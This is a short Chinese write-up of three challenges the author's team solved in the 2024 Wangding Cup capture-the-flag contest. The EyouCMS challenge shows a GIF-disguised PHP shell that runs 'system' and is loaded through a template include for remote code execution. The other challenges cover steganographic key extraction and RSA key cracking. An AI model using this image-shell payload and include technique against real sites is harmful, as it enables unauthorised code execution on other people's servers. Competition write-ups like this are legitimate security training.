本次参加了网鼎杯玄武组的比赛，大佬云集，我们队伍就解出了三道题目，重在参与！

WEB01

使用默认密码登录后台 admin/admin

通过网上搜索到公开的漏洞 https://github.com/Nacl122/CVEReport/blob/main/CVE-2023-42286/EyouCMS%20Backend%20RCE.md

进行测试

构造一个图片马

GIF89a  
<?php eval(system("cat ../../../flag.txt"));?>

上传

{eyou:include file="uploads/allimg/20241104/1-241104123542928.gif" /}

找到模板功能，将文件包含到index.html中

接着访问首页就可以获取到flag

WEB03

利用 dirb 工具爆破 web 路径，发现存在 robots.txt，利用 username

和 password 登录系统发现需要私钥登录。

下载 wbStego4.bmp 文件，利用 ctf 工具读取图片信息，结合图片名称，发现图片存在隐写，利用 wbs43open 工具读取隐写信息

隐写信息疑似ssh公钥，将该值复制到单独的id_rsa文件中，并修改为标准的公钥格式，并利用rsacracker工具爆破私钥

新建私钥文件id_rsa并利用私钥登录获取flag

REVERSE02

下载题目是一个jar文件，加载到idea分析，发现是aes加密

解密

附上部分题目

2024网鼎杯玄武部分题目.zip
链接：https://pan.baidu.com/s/1VG7WKmyKUdT-xM-OE0JP4Q?pwd=y426 
提取码：y426